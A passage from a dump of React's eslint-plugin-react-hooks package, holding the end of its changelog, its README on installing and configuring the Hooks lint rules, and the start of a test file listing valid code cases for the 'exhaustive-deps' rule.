4.1.0\n* **New Violations:** Warn when dependencies change on every render. ([@captbaritone](https://github.com/captbaritone) in [#19590](https://github.com/facebook/react/pull/19590))\n\n## 4.0.8\n* Fixes TypeScript `typeof` annotation to not be considered a dependency. ([@delca85](https://github.com/delca85) in [#19316](https://github.com/facebook/react/pull/19316))\n\n## 4.0.7\n* Fixes an overly coarse dependency suggestion. ([@gaearon](https://github.com/gaearon) in [#19313](https://github.com/facebook/react/pull/19313))\n\n## 4.0.6\n* Fix crashes and other bugs related to optional chaining. ([@gaearon](https://github.com/gaearon) in [#19273](https://github.com/facebook/react/pull/19273) and [#19275](https://github.com/facebook/react/pull/19275))\n\n## 4.0.5\n* Fix a crash when the dependency array has an empty element. ([@yeonjuan](https://github.com/yeonjuan) in [#19145](https://github.com/facebook/react/pull/19145))\n* Fix a false positive warning that occurs with optional chaining. ([@fredvollmer](https://github.com/fredvollmer) in [#19061](https://github.com/facebook/react/pull/19061))\n\n## 4.0.4\n* Fix a false positive warning that occurs with optional chaining. ([@fredvollmer](https://github.com/fredvollmer) in [#19061](https://github.com/facebook/react/pull/19061))\n* Support nullish coalescing and optional chaining. ([@yanneves](https://github.com/yanneves) in [#19008](https://github.com/facebook/react/pull/19008))\n\n## 4.0.3\n* Remove the heuristic that checks all Hooks ending with `Effect` due to too many false positives. ([@gaearon](https://github.com/gaearon) in [#19004](https://github.com/facebook/react/pull/19004))\n\n## 4.0.2\n* Prevent Hooks that have `Effect` in the middle from being considered effects. ([@surgeboris](https://github.com/surgeboris) in [#18907](https://github.com/facebook/react/pull/18907))\n\n## 4.0.1\n* Declare support for ESLint 7. ([@MichaelDeBoey](https://github.com/MichaelDeBoey) in [#18878](https://github.com/facebook/react/pull/18878))\n\n## 4.0.0\n\n* **New Violations:** Consider `PascalCase.useFoo()` calls as Hooks. ([@cyan33](https://github.com/cyan33) in [#18722](https://github.com/facebook/react/pull/18722))\n* **New Violations:** Check callback body when it's not written inline. ([@gaearon](https://github.com/gaearon) in [#18435](https://github.com/facebook/react/pull/18435))\n* **New Violations:** Check dependencies for all Hooks ending with `Effect`. ([@airjp73](https://github.com/airjp73) in [#18580](https://github.com/facebook/react/pull/18580))\n* Add a way to enable the dangerous autofix. ([@gaearon](https://github.com/gaearon) in [#18437](https://github.com/facebook/react/pull/18437))\n* Offer a more sensible suggestion when encountering an assignment. ([@Zzzen](https://github.com/Zzzen) in [#16784](https://github.com/facebook/react/pull/16784))\n* Consider TypeScript casts of `useRef` as constant. ([@sophiebits](https://github.com/sophiebits) in [#18496](https://github.com/facebook/react/pull/18496))\n* Add documentation. ([@ghmcadams](https://github.com/ghmcadams) in [#16607](https://github.com/facebook/react/pull/16607))\n\n## 3.0.0\n\n* **New Violations:** Forbid calling Hooks from classes. ([@ianobermiller](https://github.com/ianobermiller) in [#18341](https://github.com/facebook/react/pull/18341))\n* Add a recommended config. ([@SimenB](https://github.com/SimenB) in [#14762](https://github.com/facebook/react/pull/14762))\n\n## 2.5.0\n\n* Fix a misleading error message in loops. ([@M-Izadmehr](https://github.com/M-Izadmehr) in [#16853](https://github.com/facebook/react/pull/16853))\n\n## 2.4.0\n\n* **New Violations:** Run checks for functions passed to `forwardRef`. ([@dprgarner](https://github.com/dprgarner) in [#17255](https://github.com/facebook/react/pull/17255))\n* **New Violations:** Check for ref usage in any Hook containing the word `Effect`. ([@gaearon](https://github.com/gaearon) in [#17663](https://github.com/facebook/react/pull/17663))\n* Disable dangerous autofix and use ESLint Suggestions API instead. ([@wdoug](https://github.com/wdoug) in [#17385](https://github.com/facebook/react/pull/17385))\n\n## 2.0.0\n\n* **New Violations:** Forbid calling Hooks at the top level. ([@gaearon](https://github.com/gaearon) in [#16455](https://github.com/facebook/react/pull/16455))\n* Fix a crash when referencing arguments in arrow functions. ([@hristo-kanchev](https://github.com/hristo-kanchev) in [#16356](https://github.com/facebook/react/pull/16356))\n\n\n## 1.x\n\nThe 1.x releases aren’t noted in this changelog, but you can find them in the [commit history](https://github.com/facebook/react/commits/main/packages/eslint-plugin-react-hooks).\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/README.md",
    "content": "# `eslint-plugin-react-hooks`\n\nThe official ESLint plugin for [React](https://react.dev) which enforces the [Rules of React](https://react.dev/reference/eslint-plugin-react-hooks) and other best practices.\n\n## Installation\n\nAssuming you already have ESLint installed, run:\n\n```sh\n# npm\nnpm install eslint-plugin-react-hooks --save-dev\n\n# yarn\nyarn add eslint-plugin-react-hooks --dev\n```\n\n### Flat Config (eslint.config.js|ts)\n\nAdd the `recommended` config for all recommended rules:\n\n```js\n// eslint.config.js\nimport reactHooks from 'eslint-plugin-react-hooks';\nimport { defineConfig } from 'eslint/config';\n\nexport default defineConfig([\n  reactHooks.configs.flat.recommended,\n]);\n```\n\nIf you want to try bleeding edge experimental compiler rules, use `recommended-latest`.\n\n```js\n// eslint.config.js\nimport reactHooks from 'eslint-plugin-react-hooks';\nimport { defineConfig } from 'eslint/config';\n\nexport default defineConfig([\n  reactHooks.configs.flat['recommended-latest'],\n]);\n```\n\n### Legacy Config (.eslintrc)\n\nIf you are still using ESLint below 9.0.0, the `recommended` preset can also be used to enable all recommended rules.\n\n```js\n{\n  \"extends\": [\"plugin:react-hooks/recommended\"],\n  // ...\n}\n\n```\n\n### Custom Configuration\n\nIf you want more fine-grained configuration, you can instead choose to enable specific rules. However, we strongly encourage using the recommended presets — see above — so that you will automatically receive new recommended rules as we add them in future versions of the plugin.\n\n#### Flat Config (eslint.config.js|ts)\n\n```js\nimport reactHooks from 'eslint-plugin-react-hooks';\n\nexport default [\n  {\n    files: ['**/*.{js,jsx}'],\n    plugins: { 'react-hooks': reactHooks },\n    // ...\n    rules: {\n      // Core hooks rules\n      'react-hooks/rules-of-hooks': 'error',\n      'react-hooks/exhaustive-deps': 'warn',\n\n      // React Compiler rules\n      'react-hooks/config': 'error',\n      'react-hooks/error-boundaries': 'error',\n      'react-hooks/component-hook-factories': 'error',\n      'react-hooks/gating': 'error',\n      'react-hooks/globals': 'error',\n      'react-hooks/immutability': 'error',\n      'react-hooks/preserve-manual-memoization': 'error',\n      'react-hooks/purity': 'error',\n      'react-hooks/refs': 'error',\n      'react-hooks/set-state-in-effect': 'error',\n      'react-hooks/set-state-in-render': 'error',\n      'react-hooks/static-components': 'error',\n      'react-hooks/unsupported-syntax': 'warn',\n      'react-hooks/use-memo': 'error',\n      'react-hooks/incompatible-library': 'warn',\n    }\n  },\n];\n```\n\n#### Legacy Config (.eslintrc)\n```js\n{\n  \"plugins\": [\n    // ...\n    \"react-hooks\"\n  ],\n  \"rules\": {\n    // ...\n    // Core hooks rules\n    \"react-hooks/rules-of-hooks\": \"error\",\n    \"react-hooks/exhaustive-deps\": \"warn\",\n\n    // React Compiler rules\n    \"react-hooks/config\": \"error\",\n    \"react-hooks/error-boundaries\": \"error\",\n    \"react-hooks/component-hook-factories\": \"error\",\n    \"react-hooks/gating\": \"error\",\n    \"react-hooks/globals\": \"error\",\n    \"react-hooks/immutability\": \"error\",\n    \"react-hooks/preserve-manual-memoization\": \"error\",\n    \"react-hooks/purity\": \"error\",\n    \"react-hooks/refs\": \"error\",\n    \"react-hooks/set-state-in-effect\": \"error\",\n    \"react-hooks/set-state-in-render\": \"error\",\n    \"react-hooks/static-components\": \"error\",\n    \"react-hooks/unsupported-syntax\": \"warn\",\n    \"react-hooks/use-memo\": \"error\",\n    \"react-hooks/incompatible-library\": \"warn\"\n  }\n}\n```\n\n## Advanced Configuration\n\n`exhaustive-deps` can be configured to validate dependencies of custom Hooks with the `additionalHooks` option.\nThis option accepts a regex to match the names of custom Hooks that have dependencies.\n\n```js\n{\n  rules: {\n    // ...\n    \"react-hooks/exhaustive-deps\": [\"warn\", {\n      additionalHooks: \"(useMyCustomHook|useMyOtherCustomHook)\"\n    }]\n  }\n}\n```\n\nWe suggest to use this option **very sparingly, if at all**. Generally saying, we recommend most custom Hooks to not use the dependencies argument, and instead provide a higher-level API that is more focused around a specific use case.\n\n## Valid and Invalid Examples\n\nPlease refer to the [Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks) documentation to learn more about this rule.\n\n## License\n\nMIT\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/__tests__/ESLintRuleExhaustiveDeps-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n\n'use strict';\n\nconst ESLintTesterV7 = require('eslint-v7').RuleTester;\nconst ESLintTesterV9 = require('eslint-v9').RuleTester;\nconst ReactHooksESLintPlugin = require('eslint-plugin-react-hooks');\nconst ReactHooksESLintRule =\n  ReactHooksESLintPlugin.default.rules['exhaustive-deps'];\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n * @param {Array} strings array of code strings (only one expected)\n */\nfunction normalizeIndent(strings) {\n  const codeLines = strings[0].split('\\n');\n  const leftPadding = codeLines[1].match(/\\s+/)[0];\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\n// ***************************************************\n// For easier local testing, you can add to any case:\n// {\n//   skip: true,\n//   --or--\n//   only: true,\n//   ...\n// }\n// ***************************************************\n\n// Tests that are valid/invalid across all parsers\nconst tests = {\n  valid: [\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {\n            const local = {};\n            console.log(local);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(local);\n          }, [local]);\n        }\n      `,\n    },\n    {\n      // OK because `props` wasn't defined.\n      // We don't technically know if `props` is supposed\n      // to be an import that hasn't been added yet, or\n      // a component-level variable. Ignore it until it\n      //  gets defined (a different rule would flag it anyway).\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = {};\n          {\n            const local2 = {};\n            useEffect(() => {\n              console.log(local1);\n              console.log(local2);\n            });\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = someFunc();\n          {\n            const local2 = someFunc();\n            useCallback(() => {\n              console.log(local1);\n              console.log(local2);\n            }, [local1, local2]);\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = someFunc();\n          function MyNestedComponent() {\n            const local2 = someFunc();\n            useCallback(() => {\n              console.log(local1);\n              console.log(local2);\n            }, [local2]);\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(local);\n            console.log(local);\n          }, [local]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {\n            console.log(unresolved);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(local);\n          }, [,,,local,,,]);\n        }\n      `,\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent({ foo }) {\n          useEffect(() => {\n            console.log(foo.length);\n          }, [foo]);\n        }\n      `,\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent({ foo }) {\n          useEffect(() => {\n            console.log(foo.length);\n            console.log(foo.slice(0));\n          }, [foo]);\n        }\n      `,\n    },\n    {\n      // Regression test\n      code: normalizeIndent`\n        function MyComponent({ history }) {\n          useEffect(() => {\n            return history.listen();\n          }, [history]);\n        }\n      `,\n    },\n    {\n      // Valid because they have meaning without deps.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {});\n          useLayoutEffect(() => {});\n          useImperativeHandle(props.innerRef, () => {});\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, [props.bar, props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, [props.foo, props.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = someFunc();\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n            console.log(local);\n          }, [props.foo, props.bar, local]);\n        }\n      `,\n    },\n    {\n      // [props, props.foo] is technically unnecessary ('props' covers 'props.foo').\n      // However, it's valid for effects to over-specify their deps.\n      // So we don't warn about this. We *would* warn about useMemo/useCallback.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = {};\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.bar);\n          }, [props, props.foo]);\n\n          let color = someFunc();\n          useEffect(() => {\n            console.log(props.foo.bar.baz);\n            console.log(color);\n          }, [props.foo, props.foo.bar.baz, color]);\n        }\n      `,\n    },\n    // Nullish coalescing and optional chaining\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo?.bar?.baz ?? null);\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo?.bar);\n          }, [props.foo?.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo?.bar);\n          }, [props.foo.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo.bar);\n          }, [props.foo?.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo.bar);\n            console.log(props.foo?.bar);\n          }, [props.foo?.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo.bar);\n            console.log(props.foo?.bar);\n          }, [props.foo.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo);\n            console.log(props.foo?.bar);\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo?.toString());\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useMemo(() => {\n            console.log(props.foo?.toString());\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.toString());\n          }, [props.foo]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo.bar?.toString());\n          }, [props.foo.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.bar?.toString());\n          }, [props.foo.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo.bar.toString());\n          }, [props?.foo?.bar]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCallback(() => {\n            console.log(props.foo?.bar?.baz);\n          }, [props?.foo.bar?.baz]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const myEffect = () => {\n            // Doesn't use anything\n          };\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        const local = {};\n        function MyComponent() {\n          const myEffect = () => {\n            console.log(local);\n          };\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        const local = {};\n        function MyComponent() {\n          function myEffect() {\n            console.log(local);\n          }\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = someFunc();\n          function myEffect() {\n            console.log(local);\n          }\n          useEffect(myEffect, [local]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          function myEffect() {\n            console.log(global);\n          }\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        const local = {};\n        function MyComponent() {\n          const myEffect = () => {\n            otherThing()\n          }\n          const otherThing = () => {\n            console.log(local);\n          }\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      // Valid because even though we don't inspect the function itself,\n      // at least it's passed as a dependency.\n      code: normalizeIndent`\n        function MyComponent({delay}) {\n          const local = {};\n          const myEffect = debounce(() => {\n            console.log(local);\n          }, delay);\n          useEffect(myEffect, [myEffect]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({myEffect}) {\n          useEffect(myEffect, [,myEffect]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({myEffect}) {\n          useEffect(myEffect, [,myEffect,,]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        let local = {};\n        function myEffect() {\n          console.log(local);\n        }\n        function MyComponent() {\n          useEffect(myEffect, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({myEffect}) {\n          useEffect(myEffect, [myEffect]);\n        }\n      `,\n    },\n    {\n      // Valid because has no deps.\n      code: normalizeIndent`\n        function MyComponent({myEffect}) {\n          useEffect(myEffect);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          });\n        }\n      `,\n      options: [{additionalHooks: 'useCustomEffect'}],\n    },\n    {\n      // behaves like no deps\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useSpecialEffect(() => {\n            console.log(props.foo);\n          }, null);\n        }\n      `,\n      options: [\n        {\n          additionalHooks: 'useSpecialEffect',\n          experimental_autoDependenciesHooks: ['useSpecialEffect'],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, [props.foo]);\n        }\n      `,\n      options: [{additionalHooks: 'useCustomEffect'}],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useCustomEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n      options: [{additionalHooks: 'useAnotherEffect'}],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useWithoutEffectSuffix(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          return renderHelperConfusedWithEffect(() => {\n            console.log(props.foo);\n          }, []);\n        }\n      `,\n    },\n    {\n      // Valid because we don't care about hooks outside of components.\n      code: normalizeIndent`\n        const local = {};\n        useEffect(() => {\n          console.log(local);\n        }, []);\n      `,\n    },\n    {\n      // Valid because we don't care about hooks outside of components.\n      code: normalizeIndent`\n        const local1 = {};\n        {\n          const local2 = {};\n          useEffect(() => {\n            console.log(local1);\n            console.log(local2);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          useEffect(() => {\n            console.log(ref.current);\n          }, [ref]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          useEffect(() => {\n            console.log(ref.current);\n          }, []);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ maybeRef2, foo }) {\n          const definitelyRef1 = useRef();\n          const definitelyRef2 = useRef();\n          const maybeRef1 = useSomeOtherRefyThing();\n          const [state1, setState1] = useState();\n          const [state2, setState2] = React.useState();\n          const [state3, dispatch1] = useReducer();\n          const [state4, dispatch2] = React.useReducer();\n          const [state5, maybeSetState] = useFunnyState();\n          const [state6, maybeDispatch] = useFunnyReducer();\n          const [state9, dispatch5] = useActionState();\n          const [state10, dispatch6] = React.useActionState();\n          const [isPending1] = useTransition();\n          const [isPending2, startTransition2] = useTransition();\n          const [isPending3] = React.useTransition();\n          const [isPending4, startTransition4] = React.useTransition();\n          const mySetState = useCallback(() => {}, []);\n          let myDispatch = useCallback(() => {}, []);\n\n          useEffect(() => {\n            // Known to be static\n            console.log(definitelyRef1.current);\n            console.log(definitelyRef2.current);\n            console.log(maybeRef1.current);\n            console.log(maybeRef2.current);\n            setState1();\n            setState2();\n            dispatch1();\n            dispatch2();\n            dispatch5();\n            dispatch6();\n            startTransition1();\n            startTransition2();\n            startTransition3();\n            startTransition4();\n\n            // Dynamic\n            console.log(state1);\n            console.log(state2);\n            console.log(state3);\n            console.log(state4);\n            console.log(state5);\n            console.log(state6);\n            console.log(isPending2);\n            console.log(isPending4);\n            mySetState();\n            myDispatch();\n\n            // Not sure; assume dynamic\n            maybeSetState();\n            maybeDispatch();\n          }, [\n            // Dynamic\n            state1, state2, state3, state4, state5, state6, state9, state10,\n            maybeRef1, maybeRef2,\n            isPending2, isPending4,\n\n            // Not sure; assume dynamic\n            mySetState, myDispatch,\n            maybeSetState, maybeDispatch\n\n            // In this test, we don't specify static deps.\n            // That should be okay.\n          ]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ maybeRef2 }) {\n          const definitelyRef1 = useRef();\n          const definitelyRef2 = useRef();\n          const maybeRef1 = useSomeOtherRefyThing();\n\n          const [state1, setState1] = useState();\n          const [state2, setState2] = React.useState();\n          const [state3, dispatch1] = useReducer();\n          const [state4, dispatch2] = React.useReducer();\n\n          const [state5, maybeSetState] = useFunnyState();\n          const [state6, maybeDispatch] = useFunnyReducer();\n\n          const mySetState = useCallback(() => {}, []);\n          let myDispatch = useCallback(() => {}, []);\n\n          useEffect(() => {\n            // Known to be static\n            console.log(definitelyRef1.current);\n            console.log(definitelyRef2.current);\n            console.log(maybeRef1.current);\n            console.log(maybeRef2.current);\n            setState1();\n            setState2();\n            dispatch1();\n            dispatch2();\n\n            // Dynamic\n            console.log(state1);\n            console.log(state2);\n            console.log(state3);\n            console.log(state4);\n            console.log(state5);\n            console.log(state6);\n            mySetState();\n            myDispatch();\n\n            // Not sure; assume dynamic\n            maybeSetState();\n            maybeDispatch();\n          }, [\n            // Dynamic\n            state1, state2, state3, state4, state5, state6,\n            maybeRef1, maybeRef2,\n\n            // Not sure; assume dynamic\n            mySetState, myDispatch,\n            maybeSetState, maybeDispatch,\n\n            // In this test, we specify static deps.\n            // That should be okay too!\n            definitelyRef1, definitelyRef2, setState1, setState2, dispatch1, dispatch2\n          ]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        const MyComponent = forwardRef((props, ref) => {\n          useImperativeHandle(ref, () => ({\n            focus() {\n              alert(props.hello);\n            }\n          }))\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        const MyComponent = forwardRef((props, ref) => {\n          useImperativeHandle(ref, () => ({\n            focus() {\n              alert(props.hello);\n            }\n          }), [props.hello])\n        });\n      `,\n    },\n    {\n      // This is not ideal but warning would likely create\n      // too many false positives. We do, however, prevent\n      // direct assignments.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let obj = someFunc();\n          useEffect(() => {\n            obj.foo = true;\n          }, [obj]);\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let foo = {}\n          useEffect(() => {\n            foo.bar.baz = 43;\n          }, [foo.bar]);\n        }\n      `,\n    },\n    {\n      // Valid because we assign ref.current\n      // ourselves. Therefore it's likely not\n      // a ref managed by React.\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current = {};\n            return () => {\n              console.log(myRef.current.toString())\n            };\n          }, []);\n          return <div />;\n        }\n      `,\n    },\n    {\n      // Valid because we assign ref.current\n      // ourselves. Therefore it's likely not\n      // a ref managed by React.\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current = {};\n            return () => {\n              console.log(myRef?.current?.toString())\n            };\n          }, []);\n          return <div />;\n        }\n      `,\n    },\n    {\n      // Valid because we assign ref.current\n      // ourselves. Therefore it's likely not\n      // a ref managed by React.\n      code: normalizeIndent`\n        function useMyThing(myRef) {\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current = {};\n            return () => {\n              console.log(myRef.current.toString())\n            };\n          }, [myRef]);\n        }\n      `,\n    },\n    {\n      // Valid because the ref is captured.\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            const node = myRef.current;\n            node.addEventListener('mousemove', handleMove);\n            return () => node.removeEventListener('mousemove', handleMove);\n          }, []);\n          return <div ref={myRef} />;\n        }\n      `,\n    },\n    {\n      // Valid because the ref is captured.\n      code: normalizeIndent`\n        function useMyThing(myRef) {\n          useEffect(() => {\n            const handleMove = () => {};\n            const node = myRef.current;\n            node.addEventListener('mousemove', handleMove);\n            return () => node.removeEventListener('mousemove', handleMove);\n          }, [myRef]);\n          return <div ref={myRef} />;\n        }\n      `,\n    },\n    {\n      // Valid because it's not an effect.\n      code: normalizeIndent`\n        function useMyThing(myRef) {\n          useCallback(() => {\n            const handleMouse = () => {};\n            myRef.current.addEventListener('mousemove', handleMouse);\n            myRef.current.addEventListener('mousein', handleMouse);\n            return function() {\n              setTimeout(() => {\n                myRef.current.removeEventListener('mousemove', handleMouse);\n                myRef.current.removeEventListener('mousein', handleMouse);\n              });\n            }\n          }, [myRef]);\n        }\n      `,\n    },\n    {\n      // Valid because we read ref.current in a function that isn't cleanup.\n      code: normalizeIndent`\n        function useMyThing() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {\n              console.log(myRef.current)\n            };\n            window.addEventListener('mousemove', handleMove);\n            return () => window.removeEventListener('mousemove', handleMove);\n          }, []);\n          return <div ref={myRef} />;\n        }\n      `,\n    },\n    {\n      // Valid because we read ref.current in a function that isn't cleanup.\n      code: normalizeIndent`\n        function useMyThing() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {\n              return () => window.removeEventListener('mousemove', handleMove);\n            };\n            window.addEventListener('mousemove', handleMove);\n            return () => {};\n          }, []);\n          return <div ref={myRef} />;\n        }\n      `,\n    },\n    {\n      // Valid because it's a primitive constant.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = 42;\n          const local2 = '42';\n          const local3 = null;\n          useEffect(() => {\n            console.log(local1);\n            console.log(local2);\n            console.log(local3);\n          }, []);\n        }\n      `,\n    },\n    {\n      // It's not a mistake to specify constant values though.\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = 42;\n          const local2 = '42';\n          const local3 = null;\n          useEffect(() => {\n            console.log(local1);\n            console.log(local2);\n            console.log(local3);\n          }, [local1, local2, local3]);\n        }\n      `,\n    },\n    {\n      // It is valid for effects to over-specify their deps.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const local = props.local;\n          useEffect(() => {}, [local]);\n        }\n      `,\n    },\n    {\n      // Valid even though activeTab is \"unused\".\n      // We allow over-specifying deps for effects, but not callbacks or memo.\n      code: normalizeIndent`\n        function Foo({ activeTab }) {\n          useEffect(() => {\n            window.scrollTo(0, 0);\n          }, [activeTab]);\n        }\n      `,\n    },\n    {\n      // It is valid to specify broader effect deps than strictly necessary.\n      // Don't warn for this.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            console.log(props.foo.bar.baz);\n          }, [props]);\n          useEffect(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo]);\n          useEffect(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo.bar]);\n          useEffect(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo.bar.baz]);\n        }\n      `,\n    },\n    {\n      // It is *also* valid to specify broader memo/callback deps than strictly necessary.\n      // Don't warn for this either.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const fn = useCallback(() => {\n            console.log(props.foo.bar.baz);\n          }, [props]);\n          const fn2 = useCallback(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo]);\n          const fn3 = useMemo(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo.bar]);\n          const fn4 = useMemo(() => {\n            console.log(props.foo.bar.baz);\n          }, [props.foo.bar.baz]);\n        }\n      `,\n    },\n    {\n      // Declaring handleNext is optional because\n      // it doesn't use anything in the function scope.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          function handleNext1() {\n            console.log('hello');\n          }\n          const handleNext2 = () => {\n            console.log('hello');\n          };\n          let handleNext3 = function() {\n            console.log('hello');\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          }, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext2);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext3);\n          }, []);\n        }\n      `,\n    },\n    {\n      // Declaring handleNext is optional because\n      // it doesn't use anything in the function scope.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          function handleNext() {\n            console.log('hello');\n          }\n          useEffect(() => {\n            return Store.subscribe(handleNext);\n          }, []);\n          useLayoutEffect(() => {\n            return Store.subscribe(handleNext);\n          }, []);\n          useMemo(() => {\n            return Store.subscribe(handleNext);\n          }, []);\n        }\n 